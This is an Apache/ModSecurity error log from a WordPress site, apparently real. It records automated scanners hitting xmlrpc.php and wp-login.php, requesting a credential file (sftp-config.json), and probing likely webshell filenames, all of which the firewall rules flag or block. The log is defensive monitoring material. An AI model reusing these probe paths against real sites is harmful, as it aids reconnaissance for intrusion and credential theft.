[Thu Feb 12 18:18:24.712505 2026] [:error] [pid 63418:tid 63496] [client 45.9.251.121:44912] [client 45.9.251.121] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2o8Nzjh-bbJnStPZKmiAAAAJQ"]
[Thu Feb 12 18:18:24.712945 2026] [:error] [pid 63418:tid 63496] [client 45.9.251.121:44912] [client 45.9.251.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.9.251.121, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2o8Nzjh-bbJnStPZKmiAAAAJQ"]
[Thu Feb 12 18:18:24.726855 2026] [proxy_fcgi:error] [pid 63418:tid 63496] [client 45.9.251.121:44912] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:18:31.293115 2026] [:error] [pid 65064:tid 65073] [client 45.9.251.121:45322] [client 45.9.251.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.9.251.121, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY2o9xOvRgscTcqsMBmagwAAAMY"], referer: https://www.google.com
[Thu Feb 12 18:18:31.298068 2026] [proxy_fcgi:error] [pid 65064:tid 65073] [client 45.9.251.121:45322] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Thu Feb 12 18:18:33.023105 2026] [:error] [pid 63418:tid 63485] [client 45.9.251.121:45724] [client 45.9.251.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.9.251.121, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY2o-dzjh-bbJnStPZKmtQAAAIk"], referer: https://www.google.com
[Thu Feb 12 18:18:33.027812 2026] [proxy_fcgi:error] [pid 63418:tid 63485] [client 45.9.251.121:45724] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Thu Feb 12 19:11:13.597056 2026] [:error] [pid 63418:tid 63484] [client 34.73.146.239:51262] [client 34.73.146.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.146.239, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY21Udzjh-bbJnStPZK-MwAAAIg"]
[Thu Feb 12 19:11:13.606754 2026] [proxy_fcgi:error] [pid 63418:tid 63484] [client 34.73.146.239:51262] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 19:11:15.979659 2026] [:error] [pid 63418:tid 63490] [client 34.73.146.239:51262] [client 34.73.146.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aY21U9zjh-bbJnStPZK-PgAAAI4"]
[Thu Feb 12 19:11:16.397845 2026] [:error] [pid 65064:tid 65067] [client 34.73.146.239:55133] [client 34.73.146.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aY21VBOvRgscTcqsMBm8xAAAAMA"]
[Thu Feb 12 19:11:16.822672 2026] [:error] [pid 65064:tid 65072] [client 34.73.146.239:51429] [client 34.73.146.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aY21VBOvRgscTcqsMBm8xwAAAMU"]
[Thu Feb 12 19:11:17.241418 2026] [:error] [pid 63417:tid 63473] [client 34.73.146.239:62656] [client 34.73.146.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aY21Vf8gSb97qRMtXCLGPAAAAFg"]
[Thu Feb 12 19:11:17.755861 2026] [:error] [pid 63418:tid 63496] [client 34.73.146.239:54971] [client 34.73.146.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aY21Vdzjh-bbJnStPZK-QwAAAJQ"]
[Thu Feb 12 19:11:18.185894 2026] [:error] [pid 63416:tid 63432] [client 34.73.146.239:63865] [client 34.73.146.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aY21Vr2wmecPaCHcM2-j7AAAAYs"]
[Thu Feb 12 20:03:23.683877 2026] [proxy_fcgi:error] [pid 63418:tid 63488] [client 161.97.174.236:46416] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 20:03:23.960564 2026] [proxy_fcgi:error] [pid 63418:tid 63500] [client 161.97.174.236:46416] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 21:31:06.618007 2026] [proxy_fcgi:error] [pid 63511:tid 63525] [client 172.213.161.82:26764] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 22:46:29.946584 2026] [:error] [pid 63418:tid 63498] [client 103.77.107.222:52568] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aY3nxdzjh-bbJnStPZIFhgAAAJY"]
[Thu Feb 12 23:41:24.818172 2026] [proxy_fcgi:error] [pid 46675:tid 46687] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:25.086693 2026] [proxy_fcgi:error] [pid 46675:tid 46680] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:25.438867 2026] [proxy_fcgi:error] [pid 46675:tid 46679] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:25.828652 2026] [proxy_fcgi:error] [pid 46675:tid 46682] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:26.085685 2026] [proxy_fcgi:error] [pid 46675:tid 46683] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:26.360703 2026] [proxy_fcgi:error] [pid 46675:tid 46691] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:26.630297 2026] [proxy_fcgi:error] [pid 46675:tid 46686] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:26.916743 2026] [proxy_fcgi:error] [pid 46675:tid 46699] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:27.191591 2026] [proxy_fcgi:error] [pid 46675:tid 46681] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:27.455673 2026] [proxy_fcgi:error] [pid 46675:tid 46690] [client 68.219.89.70:38636] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:41:27.711958 2026] [:error] [pid 46675:tid 46693] [client 68.219.89.70:38636] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY30pzuaQILPonWFiQmbygAAAU8"]
[Thu Feb 12 23:41:29.034340 2026] [:error] [pid 63416:tid 63437] [client 68.219.89.70:21157] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY30qb2wmecPaCHcM2_wEQAAAZA"]
[Thu Feb 12 23:41:36.055695 2026] [:error] [pid 63416:tid 63434] [client 68.219.89.70:31679] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY30sL2wmecPaCHcM2_wIAAAAY0"]
[Thu Feb 12 23:41:38.022933 2026] [:error] [pid 65064:tid 65076] [client 68.219.89.70:38606] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY30shOvRgscTcqsMBkqlgAAAMk"]
[Thu Feb 12 23:41:39.324402 2026] [:error] [pid 65064:tid 65073] [client 68.219.89.70:16013] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/007xx.php"] [unique_id "aY30sxOvRgscTcqsMBkqmgAAAMY"]
[Thu Feb 12 23:41:44.029320 2026] [:error] [pid 63417:tid 63461] [client 68.219.89.70:54222] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/007xx.php"] [unique_id "aY30uP8gSb97qRMtXCIXOAAAAEw"]
[Thu Feb 12 23:41:46.285819 2026] [:error] [pid 63511:tid 63516] [client 68.219.89.70:16014] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/007xx.php"] [unique_id "aY30uqQCQbD5BgeyIk1J7AAAAAM"]
[Thu Feb 12 23:41:48.102408 2026] [:error] [pid 46718:tid 46733] [client 68.219.89.70:37617] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/007xx.php"] [unique_id "aY30vEdfX45LelQwruRY-AAAAcw"]
[Thu Feb 12 23:41:49.428819 2026] [:error] [pid 63417:tid 63459] [client 68.219.89.70:39985] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l3gi0n.php"] [unique_id "aY30vf8gSb97qRMtXCIXPQAAAEo"]
[Thu Feb 12 23:41:50.896898 2026] [:error] [pid 65064:tid 65082] [client 68.219.89.70:21128] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l3gi0n.php"] [unique_id "aY30vhOvRgscTcqsMBkqnwAAAM8"]
[Thu Feb 12 23:41:51.525781 2026] [:error] [pid 63418:tid 63485] [client 68.219.89.70:37624] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l3gi0n.php"] [unique_id "aY30v9zjh-bbJnStPZISrAAAAIk"]
[Thu Feb 12 23:41:52.902328 2026] [:error] [pid 63418:tid 63484] [client 68.219.89.70:26311] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l3gi0n.php"] [unique_id "aY30wNzjh-bbJnStPZISrQAAAIg"]
[Thu Feb 12 23:41:54.164712 2026] [:error] [pid 63417:tid 63456] [client 68.219.89.70:54316] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sldnjqlm.php"] [unique_id "aY30wv8gSb97qRMtXCIXQgAAAEc"]
[Thu Feb 12 23:42:14.819478 2026] [:error] [pid 46718:tid 46721] [client 68.219.89.70:38623] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3.php"] [unique_id "aY301kdfX45LelQwruRZGwAAAcA"]
[Thu Feb 12 23:42:16.046793 2026] [:error] [pid 46718:tid 46735] [client 68.219.89.70:39958] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3.php"] [unique_id "aY302EdfX45LelQwruRZHQAAAc4"]
[Thu Feb 12 23:42:17.776739 2026] [:error] [pid 46603:tid 46629] [client 68.219.89.70:31630] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3.php"] [unique_id "aY302fEi6O39v05JNJeosgAAARg"]
[Thu Feb 12 23:42:21.519866 2026] [:error] [pid 46718:tid 46739] [client 68.219.89.70:24405] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3.php"] [unique_id "aY303UdfX45LelQwruRZIgAAAdI"]
[Thu Feb 12 23:42:29.397444 2026] [proxy_fcgi:error] [pid 46603:tid 46612] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:29.729677 2026] [proxy_fcgi:error] [pid 46603:tid 46625] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:29.991323 2026] [proxy_fcgi:error] [pid 46603:tid 46628] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:30.255930 2026] [proxy_fcgi:error] [pid 46603:tid 46614] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:30.653939 2026] [proxy_fcgi:error] [pid 46603:tid 46616] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:30.919310 2026] [proxy_fcgi:error] [pid 46603:tid 46613] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:31.172885 2026] [proxy_fcgi:error] [pid 46603:tid 46608] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:31.533762 2026] [proxy_fcgi:error] [pid 46603:tid 46621] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:31.901175 2026] [proxy_fcgi:error] [pid 46603:tid 46605] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:32.157176 2026] [proxy_fcgi:error] [pid 46603:tid 46615] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:32.411741 2026] [proxy_fcgi:error] [pid 46603:tid 46623] [client 68.219.89.70:37625] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:42:32.662444 2026] [:error] [pid 46603:tid 46618] [client 68.219.89.70:37625] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aY306PEi6O39v05JNJeoyQAAAQ0"]
[Thu Feb 12 23:42:34.175374 2026] [:error] [pid 46718:tid 46739] [client 68.219.89.70:17602] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aY306kdfX45LelQwruRZMQAAAdI"]
[Thu Feb 12 23:42:35.646891 2026] [:error] [pid 63417:tid 63449] [client 68.219.89.70:22868] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aY306_8gSb97qRMtXCIXZQAAAEA"]
[Thu Feb 12 23:42:37.617025 2026] [:error] [pid 46675:tid 46702] [client 68.219.89.70:17188] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aY307TuaQILPonWFiQmb_QAAAVg"]
[Thu Feb 12 23:42:38.943898 2026] [:error] [pid 46718:tid 46725] [client 68.219.89.70:17247] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nux.php"] [unique_id "aY307kdfX45LelQwruRZNgAAAcQ"]
[Thu Feb 12 23:42:41.808151 2026] [:error] [pid 63416:tid 63445] [client 68.219.89.70:23578] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nux.php"] [unique_id "aY308b2wmecPaCHcM2_wkgAAAZg"]
[Thu Feb 12 23:42:43.627636 2026] [:error] [pid 63511:tid 63519] [client 68.219.89.70:63716] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nux.php"] [unique_id "aY3086QCQbD5BgeyIk1KFAAAAAY"]
[Thu Feb 12 23:42:46.440321 2026] [:error] [pid 46675:tid 46699] [client 68.219.89.70:26906] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nux.php"] [unique_id "aY309juaQILPonWFiQmcCAAAAVU"]
[Thu Feb 12 23:42:51.876257 2026] [:error] [pid 46675:tid 46679] [client 68.219.89.70:23572] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aY30-zuaQILPonWFiQmcDQAAAUE"]
[Thu Feb 12 23:42:56.021603 2026] [:error] [pid 63418:tid 63494] [client 68.219.89.70:27577] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aY31ANzjh-bbJnStPZIS1QAAAJI"]
[Thu Feb 12 23:42:57.375860 2026] [:error] [pid 63511:tid 63515] [client 68.219.89.70:28024] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aY31AaQCQbD5BgeyIk1KLgAAAAI"]
[Thu Feb 12 23:42:58.554348 2026] [:error] [pid 46675:tid 46699] [client 68.219.89.70:27528] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aY31AjuaQILPonWFiQmcEgAAAVU"]
[Thu Feb 12 23:43:00.710067 2026] [:error] [pid 63511:tid 63522] [client 68.219.89.70:19171] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aY31BKQCQbD5BgeyIk1KMQAAAAk"]
[Thu Feb 12 23:43:03.225304 2026] [:error] [pid 46675:tid 46700] [client 68.219.89.70:26901] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aY31BzuaQILPonWFiQmcGAAAAVY"]
[Thu Feb 12 23:43:06.051356 2026] [:error] [pid 46675:tid 46688] [client 68.219.89.70:27550] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aY31CjuaQILPonWFiQmcIQAAAUo"]
[Thu Feb 12 23:43:07.596842 2026] [:error] [pid 63418:tid 63494] [client 68.219.89.70:63719] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aY31C9zjh-bbJnStPZIS3AAAAJI"]
[Thu Feb 12 23:43:10.817699 2026] [:error] [pid 63416:tid 63435] [client 68.219.89.70:28031] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfwdhsjo.php"] [unique_id "aY31Dr2wmecPaCHcM2_wqQAAAY4"]
[Thu Feb 12 23:43:14.374782 2026] [:error] [pid 63418:tid 63488] [client 68.219.89.70:19191] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfwdhsjo.php"] [unique_id "aY31Etzjh-bbJnStPZIS5wAAAIw"]
